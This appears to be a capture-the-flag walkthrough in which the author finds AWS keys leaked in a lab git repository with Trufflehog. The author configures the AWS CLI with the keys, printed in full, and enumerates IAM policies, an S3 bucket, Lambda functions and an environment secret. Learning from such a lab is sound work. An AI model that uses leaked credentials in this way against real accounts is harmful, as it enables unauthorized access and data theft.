AWS CLI Exploitation
Going to use Trufflehog to victory! Glory!
This is the challenge:
Challenge 1
Use Trufflehog to find credentials in the Gitlab instance at https://haugfactory.com/asnowball/aws_scripts.git. Configure these credentials for us-east-1 and then run: $ aws sts get-caller-identity
So with trufflehog installed on the machine, I can run the following to find some info:
trufflehog git https://haugfactory.com/asnowball/aws_scripts.git
And it dumps the following:
Output
Found unverified result 🐷🔑❓
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAAIDAYRANYAHGQOHD
Timestamp: 2022-09-07 07:53:12 -0700 -0700
Line: 6
Commit: 106d33e1ffd53eea753c1365eafc6588398279b5
File: put_policy.py
Email: asnowball <alabaster@northpolechristmastown.local>
Repository: https://haugfactory.com/asnowball/aws_scripts.git
Found unverified result 🐷🔑❓
Detector Type: Gitlab
Decoder Type: PLAIN
Raw result: add-a-file-using-the-
Repository: https://haugfactory.com/asnowball/aws_scripts.git
Timestamp: 2022-09-06 19:54:48 +0000 UTC
Line: 14
Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85
File: README.md
Email: alabaster snowball <alabaster@northpolechristmastown.local>
Found unverified result 🐷🔑❓
Detector Type: Gitlab
Decoder Type: BASE64
Raw result: add-a-file-using-the-
Timestamp: 2022-09-06 19:54:48 +0000 UTC
Line: 14
Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85
File: README.md
Email: alabaster snowball <alabaster@northpolechristmastown.local>
Repository: https://haugfactory.com/asnowball/aws_scripts.git
This tells me I should go back to a git commit. Let's clone that repo and get back to it. Trufflehog works seemingly well on remote repositories, which is what I did here. I'll have to clone this repo first to start rummaging around through it.
git clone https://haugfactory.com/asnowball/aws_scripts.git && cd aws_scripts
Output
Cloning into 'aws_scripts'...
remote: Enumerating objects: 64, done.
remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
Unpacking objects: 100% (64/64), 23.83 KiB | 1.83 MiB/s, done.
I used the checkout hash above to find what I needed:
git checkout 106d33e1ffd53eea753c1365eafc6588398279b5
Output
Note: switching to '106d33e1ffd53eea753c1365eafc6588398279b5'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:
git switch -c <new-branch-name>
Or undo this operation with:
git switch -
Turn off this advice by setting config variable advice.detachedHead to false
HEAD is now at 106d33e added
So this answers one of the questions in our objectives. The file with the AWS credentials:
Answer to Trufflehog Search
put_policy.py
The result of the earlier Trufflehog command stated that it found the AWS credentials in the file put_policy.py
. I can open that and see:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
|
Now I can use aws configure
with my newly discovered credentials to log in and do some damage!
elf@6f5a02c2eadf:~$ aws configure
AWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:
elf@6f5a02c2eadf:~$ aws sts get-caller-identity
Output
{
"UserId": "AIDAJNIAAQYHIAAHDDRA",
"Account": "602123424321",
"Arn": "arn:aws:iam::602123424321:user/haug"
}
My next check is:
Challenge 2
Managed (think: shared) policies can be attached to multiple users. Use the AWS CLI to find any policies attached to your user. The aws iam command to list attached user policies can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html Hint: it is NOT list-user-policies.
Since above I can see that the Arn
shows the user is haug
, I ran the following:
aws iam list-attached-user-policies --user-name haug
Output
{
"AttachedPolicies": [
{
"PolicyName": "TIER1_READONLY_POLICY",
"PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
}
],
"IsTruncated": false
}
And received new marching orders:
Challenge 3
Now, view or get the policy that is attached to your user. The aws iam command to get a policy can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
I can list the particular policy using the above PolicyArn value learned from the last command with this new command:
aws iam get-policy --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY\
Output
{
"Policy": {
"PolicyName": "TIER1_READONLY_POLICY",
"PolicyId": "ANPAYYOROBUERT7TGKUHA",
"Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 11,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.",
"CreateDate": "2022-06-21 22:02:30+00:00",
"UpdateDate": "2022-06-21 22:10:29+00:00",
"Tags": []
}
}
New stuff has come to light:
Challenge 4
Attached policies can have multiple versions. View the default version of this policy. The aws iam command to get a policy version can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
The next step is to use the aws iam get-policy-version
command!
aws iam get-policy-version --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1
Output
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"lambda:ListFunctions",
"lambda:GetFunctionUrlConfig"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": [
"iam:GetUserPolicy",
"iam:ListUserPolicies",
"iam:ListAttachedUserPolicies"
],
"Resource": "arn:aws:iam::602123424321:user/${aws:username}"
},
{
"Effect": "Allow",
"Action": [
"iam:GetPolicy",
"iam:GetPolicyVersion"
],
"Resource": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
},
{
"Effect": "Deny",
"Principal": "*",
"Action": [
"s3:GetObject",
"lambda:Invoke*"
],
"Resource": "*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": false,
"CreateDate": "2022-06-21 22:02:30+00:00"
}
}
Looks like this is all the commands I can run I guess. Was nice to know for the next set of instructions:
Challenge 5
Inline policies are policies that are unique to a particular identity or resource. Use the AWS CLI to list the inline policies associated with your user. The aws iam command to list user policies can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html Hint: it is NOT list-attached-user-policies.
Listing the inline policies associated with haug
:
aws iam list-user-policies --user-name haug
Output
{
"PolicyNames": [
"S3Perms"
],
"IsTruncated": false
}
Next on the docket...
Challenge 6
Now, use the AWS CLI to get the only inline policy for your user. The aws iam command to get a user policy can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Now with the above Policy Name S3Perms
I answered what it asked me to answer:
aws iam get-user-policy --user-name haug --policy-name S3Perms
Output
{
"UserPolicy": {
"UserName": "haug",
"PolicyName": "S3Perms",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:ListObjects"
],
"Resource": [
"arn:aws:s3:::smogmachines3",
"arn:aws:s3:::smogmachines3/*"
]
}
]
}
},
"IsTruncated": false
}
New Instructions:
Challenge 7
The inline user policy named S3Perms disclosed the name of an S3 bucket that you have permissions to list objects. List those objects! The aws s3api command to list objects in an s3 bucket can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/index.html
Using the info above for smogmachines3
, I listed the objects in the s3 bucket!
aws s3api list-objects --bucket smogmachines3
Output
{
"IsTruncated": false,
"Marker": "",
"Contents": [
{
"Key": "coal-fired-power-station.jpg",
"LastModified": "2022-09-23 20:40:44+00:00",
"ETag": "\"1c70c98bebaf3cff781a8fd3141c2945\"",
"Size": 59312,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "grinchum",
"ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
}
},
{
"Key": "industry-smog.png",
"LastModified": "2022-09-23 20:40:47+00:00",
"ETag": "\"c0abe5cb56b7a33d39e17f430755e615\"",
"Size": 272528,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "grinchum",
"ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
}
},
{
"Key": "pollution-smoke.jpg",
"LastModified": "2022-09-23 20:40:43+00:00",
"ETag": "\"465b675c70d73027e13ffaec1a38beec\"",
"Size": 33064,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "grinchum",
"ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
}
},
{
"Key": "pollution.jpg",
"LastModified": "2022-09-23 20:40:45+00:00",
"ETag": "\"d40d1db228c9a9b544b4c552df712478\"",
"Size": 81775,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "grinchum",
"ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
}
},
{
"Key": "power-station-smoke.jpg",
"LastModified": "2022-09-23 20:40:48+00:00",
"ETag": "\"2d7a8c8b8f5786103769e98afacf57de\"",
"Size": 45264,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "grinchum",
"ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
}
},
{
"Key": "smog-power-station.jpg",
"LastModified": "2022-09-23 20:40:46+00:00",
"ETag": "\"0e69b8d53d97db0db9f7de8663e9ec09\"",
"Size": 32498,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "grinchum",
"ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
}
},
{
"Key": "smogmachine_lambda_handler_qyJZcqvKOthRMgVrAJqq.py",
"LastModified": "2022-09-26 16:31:33+00:00",
"ETag": "\"fd5d6ab630691dfe56a3fc2fcfb68763\"",
"Size": 5823,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "grinchum",
"ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
}
}
],
"Name": "smogmachines3",
"Prefix": "",
"MaxKeys": 1000,
"EncodingType": "url"
}
New standing orders:
Challenge 8
The attached user policy provided you several Lambda privileges. Use the AWS CLI to list Lambda functions. The aws lambda command to list functions can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html
aws lambda list-functions
Output
{
"Functions": [
{
"FunctionName": "smogmachine_lambda",
"FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
"Runtime": "python3.9",
"Role": "arn:aws:iam::602123424321:role/smogmachine_lambda",
"Handler": "handler.lambda_handler",
"CodeSize": 2126,
"Description": "",
"Timeout": 600,
"MemorySize": 256,
"LastModified": "2022-09-07T19:28:23.634+0000",
"CodeSha256": "GFnsIZfgFNA1JZP3TgTI0tIavOpDLiYlg7oziWbtRsa=",
"Version": "$LATEST",
"VpcConfig": {
"SubnetIds": [
"subnet-8c80a9cb8b3fa5505"
],
"SecurityGroupIds": [
"sg-b51a01f5b4711c95c"
],
"VpcId": "vpc-85ea8596648f35e00"
},
"Environment": {
"Variables": {
"LAMBDASECRET": "975ceab170d61c75",
"LOCALMNTPOINT": "/mnt/smogmachine_files"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "7e198c3c-d4ea-48dd-9370-e5238e9ce06e",
"FileSystemConfigs": [
{
"Arn": "arn:aws:elasticfilesystem:us-east-1:602123424321:access-point/fsap-db3277b03c6e975d2",
"LocalMountPath": "/mnt/smogmachine_files"
}
],
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
}
}
]
}
Next up:
Challenge 10
Lambda functions can have public URLs from which they are directly accessible. Use the AWS CLI to get the configuration containing the public URL of the Lambda function. The aws lambda command to get the function URL config can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html
Using the above name of smogmachine_lambda
I was able to obtain the URL
aws lambda get-function-url-config --function-name smogmachine_lambda
Output
{
"FunctionUrl": "https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/",
"FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
"AuthType": "AWS_IAM",
"Cors": {
"AllowCredentials": false,
"AllowHeaders": [],
"AllowMethods": [
"GET",
"POST"
],
"AllowOrigins": [
"*"
],
"ExposeHeaders": [],
"MaxAge": 0
},
"CreationTime": "2022-09-07T19:28:23.808713Z",
"LastModifiedTime": "2022-09-07T19:28:23.808713Z"
}
Great, we did it!